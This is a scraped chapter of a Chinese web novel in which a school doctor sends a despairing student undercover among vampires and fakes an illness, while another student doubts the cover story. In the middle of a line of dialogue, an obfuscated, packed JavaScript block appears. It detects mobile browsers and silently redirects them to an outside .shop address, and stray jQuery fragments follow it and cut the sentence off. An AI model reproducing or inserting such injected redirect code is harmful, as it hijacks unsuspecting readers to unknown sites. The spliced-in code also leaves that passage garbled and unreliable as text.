默认冷灰
24号文字
方正启体

28. 医者不慈悲 No

作者:橘子味奥利奥本书字数:K更新时间:
    林砚问派斯,想不想减轻自己的过错。


    这话是在审讯室外的走廊里说的。头顶的灯光很白,照得派斯脸上一点血色都没有。他靠着墙,眼睛红肿,脸上还挂着泪痕,整个人像是被抽走了脊骨。


    听到林砚的话,他猛地抬头。


    派斯没问具体要做什么。


    他甚至没犹豫。


    “我做。”他说,声音比刚才稳了一些,“林老师,不论是什么,只要您愿意让我做,我什么都愿意去做。”


    他说这话时,眼睛直直地看着林砚,眼神里有种近乎狂热的专注。


    派斯没有装模作样,这话也不是他的一时冲动——白珍站在旁边看着,林砚自己也能看出来,派斯是真心的。


    这个孩子,在被生父抛弃、被母亲以那种方式“保护”、又被王敬当作弃子之后,已经濒临崩溃。他生命里每一个在意的人都有意或无意地离他而去,现在,现在仅剩的不曾对他报以恶意或无视,会对他提出要求、认为他具备价值的人,竟只有林砚。


    他现在急于证明自己还有价值,或者说,他不想再一次被抛弃了。


    即使林砚没对他好,也没欺骗他,只是在他失去活着的意义时给了他一个选择。


    但对派斯来说,这就够了。


    至少林砚还愿意用他,对他来说,去送死,也比被彻底无视要好。


    哪怕林砚递过来的是一把会贯穿胸口的棘刺,派斯也会死死抱住,绝不松手。


    这种心理,林砚能理解。


    他俯下身,靠近了一些。这个距离让派斯能清楚地看到林砚琥珀色眼眸里自己的倒影——狼狈,又卑微。


    所以他直说了:“我需要你去血魔领地卧底,有一定风险,可能会死。”


    派斯用力点头,点得太猛,脖子发出“咔吧”脆响。


    白珍在旁边看着,没说话。等派斯稍微平静一点,她才开口,语气很平静:“孩子,你应该清楚,在王敬已经将你放弃的现在,血魔领地对你来说意味着什么。”


    “我知道。”他说,声音低下来,“那里……很有可能会是我的埋骨地。但勾结血魔也是死罪,都是死路,去血魔那,我至少在死前还能为你们做点什么。”


    他说得很坦然,坦然得让人有点不舒服。


    派斯看向白珍:“可能这样有些不要脸,但是塔主大人,我有一个请求。”


    “说。”


    “我想,在塔里安葬我母亲的骨灰。”派斯说这句话时,手指不自觉地绞紧了衣角,“她生前说想来白塔、想来我读书的地方看看,但她没机会。如果……如果我回不来了,至少她不要再跟着我颠沛流离了。”


    白珍看着他,然后点了点头。


    “可以。”她说,“老身会安排。”


    派斯松了口气,肩膀明显垮下来一些。他又看向林砚,眼神里带着点小心翼翼的期盼。


    “林老师,”他说,“在我离开之前……您能再对我说些什么吗?什么都行。”


    少年脸上还带着未干的泪痕,眼神却异常明亮,里面燃烧着献祭般的执着。


    走廊里很安静,白珍站在一旁,双手拄着拐杖,没有插话。


    林砚稍作思索,说:“倘若你死在血魔领地,我会想办法寻回你的尸骨,将你与你的母亲葬在一起。”


    派斯愣了一下。


    他原本希望林砚能说些鼓励的话,比如“你会成功的”,或者“保重”。


    没想到林砚会说这些。


    很冷,很直接,甚至算得上残酷。


    但派斯听完,却笑了起来。


    “谢谢你,林医生。我会永远感激你的慈悲。”


    林砚没回应。


    慈悲?


    林砚不认为自己对他有何慈悲。


    做戏要做全套,在这夜过后,林砚告病。


    后半夜,白珍让校卫队闹了些动静出来,刻意营造出警戒的氛围。


    然后在第二天早上,发了条通知:


    「昨夜天气不佳,大风持续,近日天气变化频繁,请全体师生注意适时添衣保暖。医务处林砚老师昨夜不慎感染风寒,近期医务楼暂时封闭。另,医务处日常基础药品领取及外伤简单处理,由后勤处指定人员代为负责。」


    通知发出来的时候,林砚也在白珍的办公室里。


    他其实没病,身体好得很。


    但既然要演戏,就得演得像一点。所以他这几天不会出现在公开场合,医务室的门也会一直锁着。


    白塔依旧维持着封锁。


    这些日子里,学生们已经习惯了。至于校医生病一事,沸血者们本就身体强悍自愈能力极佳,也没引起波澜。


    血魔迟早还会再来的。


    他们不会轻易放弃。等下一次他们正式来袭,就不会只是派斯加一个未成年血魔这么小打小闹了。


    在那之前,白塔需要做好准备。


    对学生来说,最直观的感受就是:实战课变多了。


    课程表上原本每周三次的实战训练,被临时调整到了几乎每天都有。老师们上课时讲的内容也开始偏重实战应用,一些原本只在高年级才会接触的战斗技巧,现在中年级也开始提前教学。


    有人欢喜有人愁。


    反正陆燃挺开心的。


    他总算从苏清寒的填鸭地狱里爬了出来。连续两周的高强度理论补习,让他在最近的随堂测试里取得了突破性进展,虽然离优秀还差得远。


    苏清寒是个懂分寸的人,见好就收,知道再拿学习压迫陆燃,恐怕好不容易缓和的关系又要崩盘,于是大度地放开了对他的监管。


    重获新生的陆燃,感觉连肺里的空气都是自由的。


    然后,智慧的高地就再次被肌肉占领了。


    他又想起了之前没做成的事:找林砚比划比划。


    你不是说让我好好学习吗,我照做了,我都这么听话了,你总得给我点甜头吧。


    他兴冲冲地跑到医务处。


    然后扑了个空。


    陆燃跑到医务楼,发现校医办公室上了锁。


    他敲了敲门,没人应。


    又敲了敲,还是没人。


    他皱眉,绕到楼后面,抬头看二楼的窗户——那是林砚卧室的窗户,是关的,拉着窗帘。


    陆燃想了想,决定故技重施。


    他翻上二楼窗台——他上次就是这么进去的,蹲在窗台上,试着推了推窗户。


    是锁着的。


    他又敲敲玻璃,喊:“林老师!”


    没人回应。


    林砚去哪了?


    陆燃从窗台上跳下来,拍了拍手上的灰,心里有点纳闷。他想起自己之前加了林砚的联系方式,掏出手机刚准备发消息问。


    “陆哥!你跑太快了!”赵铁心喘着气追过来,一把按住他的肩膀,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990405|191871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我正想跟你说呢!别去打扰林老师,他生病了!白奶奶之前发的消息你真是一点没看啊!”


    陆燃转过头,一脸“你开什么玩笑”的表情:“生病?他是医生,医生怎么会生病?”


    赵铁心被他这理直气壮的逻辑噎了一下,翻了个白眼:“陆大少爷,医生也是人,是人就会生病,这有什么好奇怪的?”


    陆燃很坚持:“他不一样。”


    “哪里不一样?”赵铁心觉得莫名其妙。


    陆燃张了张嘴,一时语塞。


    他低头摆弄手机,翻出之前被他直接忽略掉的那些通知消息,果然看到了白珍发的那条。


    “风寒?”


    陆燃眉毛拧成一团。


    林砚感染风寒?


    林砚的能力是“祸血凭依”,那种深入骨髓的冰冷,他和赵铁心都是亲身感受过的。说林砚会得风寒,就跟说他自己会被低温烫伤一样,属于年度冷笑话级别。如果这条消息不是塔主发的,他绝对会认为是哪个无聊的人编的愚人节玩笑。


    “不对劲。”陆燃收起手机,看向赵铁心,语气非常肯定,“这绝对不对劲。”


    赵铁心被他这严肃的样子弄得有点紧张:“什么不对劲?哪里不对劲?”


    因为林砚的能力有冰冻属性的所以他不可能着凉?


    听起来好别扭,但反正这不合理。


    “总之林砚不可能得风寒。”陆燃斩钉截铁,“赵大傻子,这你也信啊?”


    赵铁心:“……?”


    他看看陆燃,又看看紧闭的医务楼大门,再想想林砚那总是冷静自持、仿佛一切尽在掌握的样子。


    但他还是试图用常理解释:“万一是真的呢?林老师也是人,可能最近太累了,免疫力下降……”


    “不可能。”陆燃打断他,红瞳里闪着固执的光,“我要去问问塔主。”


    “等等陆哥!”赵铁心赶紧拉住他,“你别冲动!塔主既然这么发通知了,肯定有她的道理,你这样冲过去问,不是让塔主难做吗?”


    陆燃停下脚步,回头看他:“那你觉得是怎么回事?”


    赵铁心挠了挠头,压低声音:“我觉得……可能林老师不是真的生病,而是有什么别的原因,不方便说,所以才用‘风寒’当借口。”


    这个猜测比较接近陆燃的直觉。


    “什么原因?”陆燃追问。


    “我哪知道啊。”赵铁心无奈,“但既然塔主都配合着发通知了,说明这事不小,咱们最好别瞎打听,也别去打扰林老师。”


    陆燃沉默了几秒。


    他看向医务楼二楼那扇紧闭的窗户,心里那股不对劲的感觉越来越强烈。


    林砚不在里面。


    那个总是待在医务室,要么泡茶要么看书,偶尔用那双冰冷的琥珀色眼睛瞥人的家伙,不在他应该在的地方。


    “走。”陆燃忽然说。


    “去哪?”赵铁心一愣。


    “训练场。”陆燃转身朝训练场方向走去,脚步很快,“既然实战课变多了,那就多练练。下次,不管是什么原因,至少别拖后腿。”


    赵铁心赶紧追了上去。


    “陆哥,等等我!你刚才不还说要去问塔主吗?”


    “不问了。”陆燃头也不回,“问了也不会说实话。还不如多练几组。”


    他的声音在风中飘散。


    “等他回来了,当面问他。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)